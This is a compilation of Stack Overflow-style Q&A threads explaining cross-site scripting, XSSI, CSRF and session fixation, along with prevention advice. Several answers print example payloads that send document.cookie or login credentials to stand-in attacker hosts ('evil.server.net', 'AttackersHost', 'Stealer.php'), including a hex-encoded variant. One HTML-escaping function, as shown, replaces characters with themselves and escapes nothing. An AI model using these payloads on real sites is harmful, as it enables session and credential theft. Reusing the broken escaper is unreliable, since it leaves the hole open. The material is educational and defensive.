What is the general concept behind XSS? - xss

Cross-site scripting (XSS) is a type
of computer security vulnerability
typically found in web applications
which enable malicious attackers to
inject client-side script into web
pages viewed by other users. An
exploited cross-site scripting
vulnerability can be used by attackers
to bypass access controls such as the
same origin policy. Cross-site
scripting carried out on websites were
roughly 80% of all security
vulnerabilities documented by Symantec
as of 2007.
Okay so does this mean that a hacker crafts some malicious JS/VBscript and delivers it to the unsuspecting victim when visiting a legitimate site which has unescaped inputs?
I mean, I know how SQL injection is done....
I particularly don't understand how JS/VBscript can cause so much damage! I thoguht they are only run within browsers, but apparently the damage ranges from keylogging to cookie stealing and trojans.
Is my understanding of XSS correct? if not, can someone clarify?
How can I prevent XSS from happening on my websites? This seems important; 80% of security vulnerabilities means that it's an extremely common method to compromise computers.

As the answers on how XSS can be malicious are already given, I'll only answer the following question left unanswered:
how can i prevent XSS from happening on my websites ?
As to preventing from XSS, you need to HTML-escape any user-controlled input when they're about to be redisplayed on the page. This includes request headers, request parameters and any stored user-controlled input which is to be served from a database. Especially the <, >, " and ' needs to be escaped, because it can malform the surrounding HTML code where this input is been redisplayed.
Almost any view technolgy provides builtin ways to escape HTML (or XML, that's also sufficient) entities.
In PHP you can do that with htmlspecialchars(). E.g.
<input name="foo" value="<?php echo htmlspecialchars($foo); ?>">
If you need to escape singlequotes with this as well, you'll need to supply the ENT_QUOTES argument, also see the aforelinked PHP documentation.
In JSP you can do that with JSTL <c:out> or fn:escapeXml(). E.g.
<input name="foo" value="<c:out value="${param.foo}" />">
or
<input name="foo" value="${fn:escapeXml(param.foo)}">
Note that you actually don't need to escape XSS during request processing, but only during response processing. Escaping during request processing is not needed and it may malform the user input sooner or later (and as being a site admin you'd also like to know what the user in question has actually entered so that you can take social actions if necessary). With regard to SQL injections, just only escape it during request processing at the moment when the data is about to be persisted in the database.

Straight forward XSS
I find Google has an XSS vulnerability.
I write a script that rewrites a public Google page to look exactly like the actual Google login.
My fake page submits to a third party server, and then redirects back to the real page.
I get google account passwords, users don't realize what happened, Google doesn't know what happened.
XSS as a platform for CSRF (this supposedly actually happened)
Amazon has a CSRF vulnerability where a "always keep me logged in" cookie allows you to flag an entry as offensive.
I find an XSS vulnerability on a high traffic site.
I write a JavaScript that hits up the URLs to mark all books written by gay/lesbian authors on Amazon as offensive.
To Amazon, they are getting valid requests from real browsers with real auth cookies. All the books disappear off the site overnight.
The internet freaks the hell out.
XSS as a platform for Session Fixation attacks
I find an e-commerce site that does not reset their session after a login (like any ASP.NET site), have the ability to pass session id in via query string or via cookie, and stores auth info in the session (pretty common).
I find an XSS vulnerability on a page on that site.
I write a script that sets the session ID to the one I control.
Someone hits that page, and is bumped into my session.
They log in.
I now have the ability to do anything I want as them, including buying products with saved cards.
Those three are the big ones. The problem with XSS, CSRF, and Session Fixation attacks are that they are very, very hard to track down and fix, and are really simple to allow, especially if a developer doesn't know much about them.

i dont get how JS/VBscript can cause so much damage!
Ok. suppose you have a site, and the site is served from http://trusted.server.com/thesite. Let's say this site has a search box, and when you search the url becomes: http://trusted.server.com/thesite?query=somesearchstring.
If the site decides to not process the search string and outputs it in the result, like "You search "somesearchstring" didn't yield any results, then anybody can inject arbitrary html into the site. For example:
http://trusted.server.com/thesite?query=<form action="http://evil.server.net">username: <input name="username"/><br/>password: <input name="pw" type="password"/><br/><input type="sumbit"/></form>
So, in this case, the site will dutifully show a fake login form on the search results page, and if the user submits it, it will send the data to the evil untrusted server. But the user doesn't see that, esp. if the url is really long they will just see the first but, and assume they are dealing with trusted.server.com.
Variations to this include injecting a <script> tag that adds event handlers to the document to track the user's actions, or send the document cookie to the evil server. This way you can hope to bump into sensitive data like login, password, or credit card data. Or you can try to insert a specially styled <iframe> that occupies the entire client window and serves a site that looks like the original but actually originates from evil.server.com. As long as the user is tricked into using the injected content instead of the original, the security's comprompised.
This type of XSS is called reflective and non-persistent. Reflective because the url is "relected" directly in the response, and non-persistent because the actual site is not changed - it just serves as a pass through. Note that something like https offers no protection whatsoever here - the site itself is broken, because it parrots the user input via the query string.
The trick is now to get unsuspecting users to trust any links you give them. For example, you can send them a HTML email and include an attractive looking link which points to the forged url. Or you can perhaps spread it on wikis, forums etc. I am sure you can appreciate how easy it really is - it's just a link, what could go wrong, right?
Sometimes it can be worse. Some sites actually store user-supplied content. Simple example: comments on a blog or threads on a forum. Or it may be more subtle: a user profile page on a social network. If those pages allow arbitrary html, esp. script, and this user-supplied html is stored and reproduced, then everybody that simply visits the page that contains this content is at risk. This is persistent XSS. Now users don't even need to click a link anymore, just visiting is enough. Again the actual attack consists of modifying the page through script in order to capture user data.
Script injection can be blunt, for example, one can insert a complete <script src="http://evil.server.net/script.js"> or it may be subtle: <img src="broken" onerror="...quite elaborate script to dynamically add a script tag..."/>.
As for how to protect yourself: the key is to never output user input. This may be difficult if your site revolves around user-supplied content with markup.

Imagine a web forum. An XSS attack could be that I make a post with some javascript. When you browse to the page, your webpage will load and run the js and do what I say. As you have browsed to the page and most likely are logged in, my javascript will do anything you have privileges to do, such as make a post, delete your posts, insert spam, show a popup etc.
So the real concept with XSS is the script executes in your user context, which is a privilege escalation. You need to be careful that anywhere in your app that receives user input escapes any scripts etc. inside it to ensure that an XSS can't be done.
You have to watch out for secondary attacks. Imagine if I put malicious script into my username. That might go into the website unchecked, and then written back out unchecked but then any page that is viewed with my username on it would actually execute malicious script in your user context.
Escape user input. Don't roll your on code to do this. Check everything going in, and everything coming out.

The XSS attacks' issues are more fishing related. The problem is that a site that a customer trusts might be injected with code that leads to site made by the attacker for certain purpose. Stealing sensitive information, for example.
So, in XSS attacks the intruded do not get into your database and don't mess with it. He is playing with the sense in the customer that this site is safe and every link on it is pointing to a safe location.
This is just the first step of the real attack - to bring the customer in the hostile environment.
I can give you a brief example. If a bank institution puts a shoutbox on their page, for example and they do not prevent me from XSS attack, I can shout "Hey come on this link and enter you passwords and credit card No for a security check!" ... And you know where this link will lead to, right ?
You can prevent the XSS attacks by make sure you don't display anything on your page, that is coming from users' input without escaping html tags. The special characters should be escaped, so that they don't interfere with the markup of your html pages (or whatever technology you use). There are lot of libraries that provide this, including Microsoft AntiXSS library.

Related

Tracking unauthenticated users in Django

I need to track unregistered users in my Django website. This is for conversion optimization purposes (e.g. registration funnel, etc).
A method I've used so far is using IP address as a proxy for user_id. For various well-known reasons, this has led to fudged/unreliable results.
Can I sufficiently solve my problem via setting a session variable at server-side? An illustrative example would be great.
For example, currently I have a couple of ways in my head. One is doing request.session["temp_id"] = random.randint(1,1000000), and then tracking based on temp_id.
Another is setting a session variable every time an unauthorized user hits my web app's landing page, like so:
if not request.session.exists(request.session.session_key):
request.session.create()
From here on, I'll simply track them via request.session.session_key. Would this be a sound strategy? What major edge-cases (if any) do I need to be aware of?
Cookies are the simplest approach, but take into consideration that some users can have cookies turned off in their browsers.
So for those users you can use javascript local storage to set some data. This information will get deleted once you close the browser, but it's ok for funneling purposes. Still others can have javascript turned off.
Another approach would be to put custom data(key) in every link of the page when generating the template. in other words you would have the session_id stored in html page and send through url parameters at click. Something similar happens with csrf token. Look into that.

Parallel website running to my original website

We have been working on a gaming website. Recently while making note of the major traffic sources I noticed a website that I found to be a carbon-copy of our website. It uses our logo,everything same as ours but a different domain name. It cannot be, that domain name is pointing to our domain name. This is because at several places links are like ccwebsite/our-links. That website even has links to some images as ccwebsite/our-images.
What has happened ? How could have they done that ? What can I do to stop this ?
There are a number of things they might have done to copy your site, including but not limited to:
Using a tool to scrape a complete copy of your site and place it on their server
Use their DNS name to point to your site
Manually re-create your site as their own
Respond to requests to their site by scraping yours real-time and returning that as the response
etc.
What can I do to stop this?
Not a whole lot. You can try to prevent direct linking to your content by requiring referrer headers for your images and other resources so that requests need to come from pages you serve, but 1) those can be faked and 2) not all browsers will send those so you'd break a small percentage of legitimate users. This also won't stop anybody from copying content, just from "deep linking" to it.
Ultimately, by having a website you are exposing that information to the internet. On a technical level anybody can get that information. If some information should be private you can secure that information behind a login or other authorization measures. But if the information is publicly available then anybody can copy it.
"Stopping this" is more of a legal/jurisdictional/interpersonal concern than a technical one I'm afraid. And Stack Overflow isn't in a position to offer that sort of advice.
You could run your site with some lightweight authentication. Just issue a cookie passively when they pull a page, and require the cookie to get access to resources. If a user visits your site and then the parallel site, they'll still be able to get in, but if a user only knows about the parallel site and has never visited the real site, they will just see a crap ton of broken links and images. This could be enough to discourage your doppelganger from keeping his site up.
Another (similar but more complex) option is to implement a CSRF mitigation. Even though this isn't a CSRF situation, the same mitigation will work. Essentially you'd issue a cookie as described above, but in addition insert the cookie value in the URLs for everything and require them to match. This requires a bit more work (you'll need a filter or module inserted into the pipeline) but will keep out everybody except your own users.

What is Cross Site Script Inclusion (XSSI)?

I've recently seen XSSI mentioned on multiple pages, e.g. Web Application Exploits and Defenses:
Browsers prevent pages of one domain from reading pages in other domains. But they do not prevent pages of a domain from referencing resources in other domains. In particular, they allow images to be rendered from other domains and scripts to be executed from other domains. An included script doesn't have its own security context. It runs in the security context of the page that included it. For example, if www.evil.example.com includes a script hosted on www.google.com then that script runs in the evil context not in the google context. So any user data in that script will "leak."
I fail to see what kind of security problems this creates in practice. I understand XSS and XSRF but XSSI is a little mysterious to me.
Can anybody sketch an exploit based on XSSI?
Thanks
This is typically a problem if you are using JSONP to transfer data. Consider a website consisting of a domain A that loads data from domain B. The user has to be authenticated to site A and B, and because the Same Origin Policy prevents older browsers from communicating directly with a different domain (B) than the current page (A), the developers decided to use JSONP. So site A includes a script pointing to http://B/userdata.js which is something like:
displayMySecretData({"secret":"this is very secret", ...})
So A defines a function called displayMySecretData, and when the included script from server B runs, it calls that function and displays the secret data to the user.
Now evil server E comes along. It sees that A is including data from B using JSONP. So server E includes the same script, but defines its own displayMySecretData which instead steals the data.
The attacker then tricks the user into visiting his site. When the user goes there and he is logged in to B, the browser automatically sends the authentication cookies for B along with the request to fetch the script from B. B sees an authenticated user, and thus returns the script as expected. E gets the data, and presto...
Using JSONP to load confidential data from a different domain this way is thus really insecure, but people are still using it. Bad idea!
XSSI is not limited to jsonp responses. In some browsers you can override the Array constructor. If a Json response contains [...] and you include it as a script it will execute the new constructor instead of the builtin one. The fix is to insert something in the response that can't be parsed like ])}while(1);</x> and then use code to remove it before parsing it. An attacker can't do that since script inclusion is always the entire script.
More detail on the problem and this solution at http://google-gruyere.appspot.com/part3#3__cross_site_script_inclusion
XSSI is a fancy way of saying: you are including in your program, someone elses code; You don't have any control over what is in that code, and you don't have any control over the security of the server on which it is hosted.
For example, let's say i include in my html page
<script type="text/javascript" src="http://mymatedave.com/js/coolwidget.js"></script>
That script will run in my webapp with the same level of trust as any of my own javascript code. It will have access to the the full page content and DOM, it will be able to read all my app's cookies and read the users keypresses and mouse movements, and everything else that javascript can do.
If my mate dave, then decides to put something malicious in his cool widget (say, a sniffer/keylogger that sends all the user's cookies, form data and keypresses to his server) then I won't necessarily know. Also, the security of my app now depends on the security of dave's server. If dave's server gets compromised and coolwidget.js is replaced by the attacker, i again won't necessarily know and the malicious code will run as part of my app.

Is it dangerous to leave your Django admin directory under the default url of admin?

Is it dangerous to have your admin interface in a Django app accessible by using just a plain old admin url? For security should it be hidden under an obfuscated url that is like a 64 bit unique uuid?
Also, if you create such an obfuscated link to your admin interface, how can you avoid having anyone find out where it is? Does the google-bot know how to find that url if there is no link to that url anywhere on your site or the internet?
You might want to watch out for dictionary attacks. The safest thing to do is IP restrict access to that URL using your web server configuration. You could also rate limit access to that URL - I posted an article about this last week.
If a URL is nowhere on the internet "the googlebot" can't know about it ... unless somebody tells it about it. Unfortunately many users have toolbars installed in their browser, which submit all URLs visited by the browser to various Servers (e.g. Alexa, Google).
So keeping an URL secret will not work in the long run.
Also an uuid is hard to remember and to type - leading to additional support ("What was the URL again?").
But I still strongly suggest to change the URL (e.g. to /myadmin/). This will foil automatic scanning and attack tools. So If one day an "great Django worm" hits the Internet, you have a much lower chance of being hit.
People using PHPmyAdmin had this experience for the last few years: changing the default URL avoids most attacks.
Whilst there is no harm in adding an extra layer of protection (an obfuscated url) enforcing good password choice (checking password strength and checking it's not in a large list of common passwords) would be a much better use of your time.
Assuming you've picked a good password, no, it's not dangerous. People may see the page, but they won't be able to get in anyway.
If you don't want Google to index a directory, you can use a robots.txt file to control that.

How does XSS work?

Can someone explain how XSS works in plain english? Maybe with an example. Googling didn't help much.
Cross Site Scripting basically is a security vulnerability of dynamic web pages where an attacker can create a malicious link to inject unwanted executable JavaScript into a Web site. The most usual case of this vulnerabilities occurs when GET variables are printed or echoed without filtering or checking their content.
When a victim clicks the link, the malicious code can then send the victim’s cookie away to another server, or it can modify the affected site, injecting forms, to steal usernames and passwords, and other phishing techniques.
Example of malicious link:
http://VulnerableHost/a.php?variable=<script>document.location='http://AttackersHost/cgi-bin/cookie.cgi%3Fdata='+document.cookie</script>
It's also common to encode the malicious code, for example in hex:
http://VulnerableHost/a.php?variable=%22%3E%3C%73%63%72%69%70%74%3E%64%6F%63%75%6D%65%6E%74%2E%6C%6F%63%61%74%69%6F%6E%3D%27%68%74%74%70%3A%2F%2F%41%74%74%61%63%6B%65%72%73%48%6F%73%74%2F%63%67%69%2D%62%69%6E%2F%63%6F%6F%6B%69%65%2E%63%67%69%3F%20%27%2B%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3C%2F%73%63%72%69%70%74%3E
An XSS vulnerability exists whenever a string from outside your application can be interpreted as code.
For example, if you're generating HTML by doing this:
<BODY>
<?= $myQueryParameter ?>
</BODY>
then if the $myQueryParameter variable contains a <SCRIPT> tag then it will end up executing code.
To prevent an input from being executed as code, you need to escape content properly.
The above problem can be solved by realizing that the $myQueryParameter variable contains plain text, but you can't just go and put plain text into HTML and expect it to work.
So you need to convert plain text to HTML so you can put it into your HTML page. That process of converting a string in one language to another so that it can be embedded is escaping.
You can escape plain text to HTML with a function like:
function escapePlainTextToHTML(plainText) {
return plainText.replace(/\0/g, '')
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''');
}
In Simple English
XSS is when you insert scripts (meaning JavaScript code) into webpages, so that the browser executes the code. This is malicious, because it can be used to steal cookies, and any other data on the page. For example:
The HTML of a search box: <input value="*search value here*">
Now if you insert " onmouseover="alert(1), the final HTML would be <input value="" onmouseover="alert(1)">
When the mouse is passed over the search box, the "alert" will be executed.
In "WikiText"
Cross-site scripting (XSS) is a type of computer security vulnerability typically found in web applications. XSS enables attackers to inject client-side scripts into web pages viewed by other users. A cross-site scripting vulnerability may be used by attackers to bypass access controls such as the same-origin policy.
In simple english XSS is a security vulnerabilty in which attacker can frame a malicious script to compromise the website. Now How it works?
As we know that XSS needs an input field or we can say that the GET variable through which the input is echo back to the user without filteration and sometimes filteration. After request, it is acceptable ("source code") by the browser as a response to show the contents to the user. Remember what ever you had written in the input field it will be on the source code response.So you should check it because sometimes web developer make restriction on the alert box .
If you are an attacker first you need to know the xss vulnerability by using the script tag.
For example:- alert("test")
Here alert() is used to make the popup box with the ok button and what ever you have written in the bracket it will be popup on the screen. And script tags are invisible.
Now attacker can make a malicious script to steal the cookie, steal the credentials etc.
For example:- hxxp://www.VulnerableSite.com/index.php?search=location.href = ‘http://www.Yoursite.com/Stealer.php?cookie=’+document.cookie;
Here your site is the attacker site at which the attacker can redirect the victim's cookie on his own's site with the help of document.cookie.
Thats it.
Here script tag invisible
I've written up an article on what XSS is and how to address it somewhat as a PHP developer. There are also examples of what both types of XSS attacks look like (persistent vs. non-persistent).
There are two types of XSS attacks:
Non-persistent: This would be a specially crafted URL that embeds a
script as one of the parameters to the target page. The nasty URL
can be sent out in an email with the intent of tricking the
recipient into clicking it. The target page mishandles the parameter
and unintentionally sends code to the client's machine that was
passed in originally through the URL string.
Persistent: This attack
uses a page on a site that saves form data to the database without
handling the input data properly. A malicious user can embed a nasty
script as part of a typical data field (like Last Name) that is run
on the client's web browser unknowingly. Normally the nasty script
would be stored to the database and re-run on every client's visit
to the infected page.
See more here:
http://www.thedablog.com/what-is-xss/
XSS -
Vulnerability caused when the web-site places the trust on the user and does not filter the user-input.
The user-input causes unwanted script to be executed on the site.
Prevention:
Filter user input using HTML input sanitizers
(e.g strip_tags, htmlspecialchars, htmlentities, mysql_real_string_escape in php)
CSRF:
Vulnerability caused when the user places the trust on the site but the site may work to get user-information and misuse it.
Prevention:
Uniquely auto-generate a csrf_token every-time a form is rendered. The csrf_token is sent to the server on form submission for verification. e.g. https://docs.djangoproject.com/en/dev/ref/contrib/csrf/